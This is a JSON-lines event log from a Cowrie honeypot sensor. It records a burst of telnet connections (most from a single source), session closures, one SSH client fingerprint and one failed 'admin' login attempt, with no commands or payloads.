{"eventid":"cowrie.session.closed","duration":30.76619553565979,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:22.410470Z","src_ip":"162.55.233.176","session":"3dc3e965dee3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00154042243958,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:22.652350Z","src_ip":"138.255.230.135","session":"2645a52bca15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59180,"dst_ip":"159.203.135.109","dst_port":23,"session":"eea54ffbcc86","protocol":"telnet","message":"New connection: 162.55.233.176:59180 (159.203.135.109:23) [session: eea54ffbcc86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:22.767526Z"}
{"eventid":"cowrie.session.closed","duration":57.49246621131897,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:23.010676Z","src_ip":"206.189.32.23","session":"3558c4ea0627","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.83660888671875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:23.017576Z","src_ip":"162.55.233.176","session":"1483a9049a40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47800,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfa916fd705b","protocol":"telnet","message":"New connection: 162.55.233.176:47800 (159.203.135.109:23) [session: cfa916fd705b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:23.173378Z"}
{"eventid":"cowrie.session.closed","duration":120.00143432617188,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:23.247971Z","src_ip":"162.55.233.176","session":"a8ffc6fb99d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.137.11.14","src_port":11446,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc904f0d9a4b","protocol":"ssh","message":"New connection: 38.137.11.14:11446 (10.17.0.5:22) [session: bc904f0d9a4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:23.295420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:23.300846Z","src_ip":"38.137.11.14","session":"bc904f0d9a4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47806,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0f87c3f6685","protocol":"telnet","message":"New connection: 162.55.233.176:47806 (159.203.135.109:23) [session: b0f87c3f6685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:23.362836Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47810,"dst_ip":"159.203.135.109","dst_port":23,"session":"caa8c37168d8","protocol":"telnet","message":"New connection: 162.55.233.176:47810 (159.203.135.109:23) [session: caa8c37168d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:23.496598Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:23.564496Z","src_ip":"38.137.11.14","session":"bc904f0d9a4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.824403285980225,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:23.699503Z","src_ip":"162.55.233.176","session":"8a76a5aee8b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47816,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb5f2a00e2c1","protocol":"telnet","message":"New connection: 162.55.233.176:47816 (159.203.135.109:23) [session: eb5f2a00e2c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:23.735823Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.255.230.135","src_port":42052,"dst_ip":"159.203.135.109","dst_port":23,"session":"fadfadd0aa89","protocol":"telnet","message":"New connection: 138.255.230.135:42052 (159.203.135.109:23) [session: fadfadd0aa89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:23.832477Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47820,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ba41ba37ee1","protocol":"telnet","message":"New connection: 162.55.233.176:47820 (159.203.135.109:23) [session: 0ba41ba37ee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:23.924052Z"}
{"eventid":"cowrie.session.closed","duration":31.97619390487671,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:24.013025Z","src_ip":"162.55.233.176","session":"449db1df0508","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.55128741264343,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:24.131605Z","src_ip":"162.55.233.176","session":"8b7b8ede65db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47824,"dst_ip":"159.203.135.109","dst_port":23,"session":"2645cb02e7d9","protocol":"telnet","message":"New connection: 162.55.233.176:47824 (159.203.135.109:23) [session: 2645cb02e7d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:24.561975Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47840,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7f28b2fd04f","protocol":"telnet","message":"New connection: 162.55.233.176:47840 (159.203.135.109:23) [session: c7f28b2fd04f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:24.619085Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"asdf@1234","message":"login attempt [admin/asdf@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:24.679629Z","src_ip":"38.137.11.14","session":"bc904f0d9a4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47848,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d1149babaed","protocol":"telnet","message":"New connection: 162.55.233.176:47848 (159.203.135.109:23) [session: 9d1149babaed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:24.838771Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47860,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2d44446d9ed","protocol":"telnet","message":"New connection: 162.55.233.176:47860 (159.203.135.109:23) [session: c2d44446d9ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:24.856201Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47868,"dst_ip":"159.203.135.109","dst_port":23,"session":"2274c21da5f0","protocol":"telnet","message":"New connection: 162.55.233.176:47868 (159.203.135.109:23) [session: 2274c21da5f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:25.011124Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47880,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fed0d32f0c4","protocol":"telnet","message":"New connection: 162.55.233.176:47880 (159.203.135.109:23) [session: 1fed0d32f0c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:25.716405Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47890,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f33ef82c159","protocol":"telnet","message":"New connection: 162.55.233.176:47890 (159.203.135.109:23) [session: 9f33ef82c159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:25.797127Z"}
{"eventid":"cowrie.session.closed","duration":31.56044292449951,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:25.858807Z","src_ip":"162.55.233.176","session":"482031dac13c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:25.917387Z","src_ip":"38.137.11.14","session":"bc904f0d9a4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.80181360244751,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:25.990697Z","src_ip":"162.55.233.176","session":"46aba577eb48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47892,"dst_ip":"159.203.135.109","dst_port":23,"session":"92d4039de5a7","protocol":"telnet","message":"New connection: 162.55.233.176:47892 (159.203.135.109:23) [session: 92d4039de5a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:26.039229Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47896,"dst_ip":"159.203.135.109","dst_port":23,"session":"b817d9a9380c","protocol":"telnet","message":"New connection: 162.55.233.176:47896 (159.203.135.109:23) [session: b817d9a9380c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:26.062827Z"}
{"eventid":"cowrie.session.closed","duration":30.570271968841553,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:26.419860Z","src_ip":"162.55.233.176","session":"d31b762c6710","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.59390950202942,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:26.474310Z","src_ip":"162.55.233.176","session":"885e668d6b1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47904,"dst_ip":"159.203.135.109","dst_port":23,"session":"35760d113ab7","protocol":"telnet","message":"New connection: 162.55.233.176:47904 (159.203.135.109:23) [session: 35760d113ab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:26.494265Z"}
{"eventid":"cowrie.session.closed","duration":32.143503189086914,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:26.618254Z","src_ip":"162.55.233.176","session":"e4d16e7e4ece","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.60741710662842,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:26.767433Z","src_ip":"162.55.233.176","session":"08d0e28f9226","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.807857513427734,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:26.878235Z","src_ip":"162.55.233.176","session":"6e6b37133230","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.51293969154358,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:26.884304Z","src_ip":"162.55.233.176","session":"a8a8825dd845","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47906,"dst_ip":"159.203.135.109","dst_port":23,"session":"7803f4e1a706","protocol":"telnet","message":"New connection: 162.55.233.176:47906 (159.203.135.109:23) [session: 7803f4e1a706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:27.231057Z"}
{"eventid":"cowrie.session.closed","duration":120.00180840492249,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:27.567335Z","src_ip":"138.255.230.135","session":"a4974c8c003a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47922,"dst_ip":"159.203.135.109","dst_port":23,"session":"751ef490d608","protocol":"telnet","message":"New connection: 162.55.233.176:47922 (159.203.135.109:23) [session: 751ef490d608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:27.672250Z"}
{"eventid":"cowrie.session.closed","duration":37.07076621055603,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:27.722383Z","src_ip":"162.55.233.176","session":"77cb1e36eef3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40508,"dst_ip":"10.17.0.5","dst_port":23,"session":"08bf29ca2c2c","protocol":"telnet","message":"New connection: 188.208.141.113:40508 (10.17.0.5:23) [session: 08bf29ca2c2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:27.776945Z"}
{"eventid":"cowrie.session.closed","duration":34.203250885009766,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:27.975679Z","src_ip":"162.55.233.176","session":"5872ab7e1e05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.42762470245361,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:28.044856Z","src_ip":"162.55.233.176","session":"cd66fa40b9ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.556212186813354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:28.104685Z","src_ip":"162.55.233.176","session":"6c241f2ab595","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.97679281234741,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:28.269144Z","src_ip":"162.55.233.176","session":"b248416c81c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40522,"dst_ip":"10.17.0.5","dst_port":23,"session":"187fa0952cf1","protocol":"telnet","message":"New connection: 188.208.141.113:40522 (10.17.0.5:23) [session: 187fa0952cf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:28.529940Z"}
{"eventid":"cowrie.session.closed","duration":38.288347482681274,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:28.590610Z","src_ip":"162.55.233.176","session":"d03a1d02bf40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.255.230.135","src_port":42341,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b64b0cca7ef","protocol":"telnet","message":"New connection: 138.255.230.135:42341 (159.203.135.109:23) [session: 8b64b0cca7ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:28.710279Z"}
{"eventid":"cowrie.session.closed","duration":31.066908597946167,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:28.844832Z","src_ip":"162.55.233.176","session":"d665be7d3940","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47924,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3ff27872330","protocol":"telnet","message":"New connection: 162.55.233.176:47924 (159.203.135.109:23) [session: a3ff27872330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:28.927842Z"}
{"eventid":"cowrie.session.closed","duration":31.724493503570557,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:28.994298Z","src_ip":"162.55.233.176","session":"dedb9df5c883","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47932,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd7f7d165958","protocol":"telnet","message":"New connection: 162.55.233.176:47932 (159.203.135.109:23) [session: bd7f7d165958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:29.104436Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47946,"dst_ip":"159.203.135.109","dst_port":23,"session":"834c93d7b652","protocol":"telnet","message":"New connection: 162.55.233.176:47946 (159.203.135.109:23) [session: 834c93d7b652]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:29.160735Z"}
{"eventid":"cowrie.session.closed","duration":36.340070486068726,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:29.179224Z","src_ip":"162.55.233.176","session":"bcbe3c65e80a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.694665670394897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:29.319258Z","src_ip":"162.55.233.176","session":"9a96dba0ab33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.83259963989258,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:29.895027Z","src_ip":"162.55.233.176","session":"3a66a704b9bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47962,"dst_ip":"159.203.135.109","dst_port":23,"session":"26d7a90d9f70","protocol":"telnet","message":"New connection: 162.55.233.176:47962 (159.203.135.109:23) [session: 26d7a90d9f70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:30.109091Z"}
{"eventid":"cowrie.session.closed","duration":31.46539282798767,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:30.403581Z","src_ip":"162.55.233.176","session":"30c22d5302fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47968,"dst_ip":"159.203.135.109","dst_port":23,"session":"41cd18837efa","protocol":"telnet","message":"New connection: 162.55.233.176:47968 (159.203.135.109:23) [session: 41cd18837efa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:30.551317Z"}
{"eventid":"cowrie.session.closed","duration":30.75439190864563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:30.635791Z","src_ip":"162.55.233.176","session":"8454363a3762","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47982,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb448287663e","protocol":"telnet","message":"New connection: 162.55.233.176:47982 (159.203.135.109:23) [session: fb448287663e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:31.152675Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47984,"dst_ip":"159.203.135.109","dst_port":23,"session":"2210a6e0063a","protocol":"telnet","message":"New connection: 162.55.233.176:47984 (159.203.135.109:23) [session: 2210a6e0063a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:31.304082Z"}
{"eventid":"cowrie.session.closed","duration":34.94379949569702,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:31.546645Z","src_ip":"162.55.233.176","session":"4346eb090d6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47988,"dst_ip":"159.203.135.109","dst_port":23,"session":"51b56e5b53f9","protocol":"telnet","message":"New connection: 162.55.233.176:47988 (159.203.135.109:23) [session: 51b56e5b53f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:31.555093Z"}
{"eventid":"cowrie.session.closed","duration":31.378262758255005,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:31.867622Z","src_ip":"162.55.233.176","session":"912452790249","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47996,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7528b8c81b1","protocol":"telnet","message":"New connection: 162.55.233.176:47996 (159.203.135.109:23) [session: c7528b8c81b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:32.009204Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48004,"dst_ip":"159.203.135.109","dst_port":23,"session":"723d95d3ec2d","protocol":"telnet","message":"New connection: 162.55.233.176:48004 (159.203.135.109:23) [session: 723d95d3ec2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:32.036274Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48022,"dst_ip":"159.203.135.109","dst_port":23,"session":"a889e4eb0d09","protocol":"telnet","message":"New connection: 162.55.233.176:48022 (159.203.135.109:23) [session: a889e4eb0d09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:32.422691Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48036,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b9bfe322e68","protocol":"telnet","message":"New connection: 162.55.233.176:48036 (159.203.135.109:23) [session: 7b9bfe322e68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:32.684714Z"}
{"eventid":"cowrie.session.closed","duration":35.33821678161621,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:32.733596Z","src_ip":"162.55.233.176","session":"ab79cf914fa9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.641913652420044,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:32.740130Z","src_ip":"162.55.233.176","session":"97d1a0aaef09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.43378949165344,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:32.743428Z","src_ip":"162.55.233.176","session":"5c0e566350ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48058,"dst_ip":"159.203.135.109","dst_port":23,"session":"77c6162c4ab2","protocol":"telnet","message":"New connection: 162.55.233.176:48058 (159.203.135.109:23) [session: 77c6162c4ab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:32.880977Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48042,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b7a4b6db571","protocol":"telnet","message":"New connection: 162.55.233.176:48042 (159.203.135.109:23) [session: 6b7a4b6db571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:32.889489Z"}
{"eventid":"cowrie.session.closed","duration":34.09215188026428,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:33.042280Z","src_ip":"162.55.233.176","session":"4ad83d2ebfe9","protocol":"telnet"}
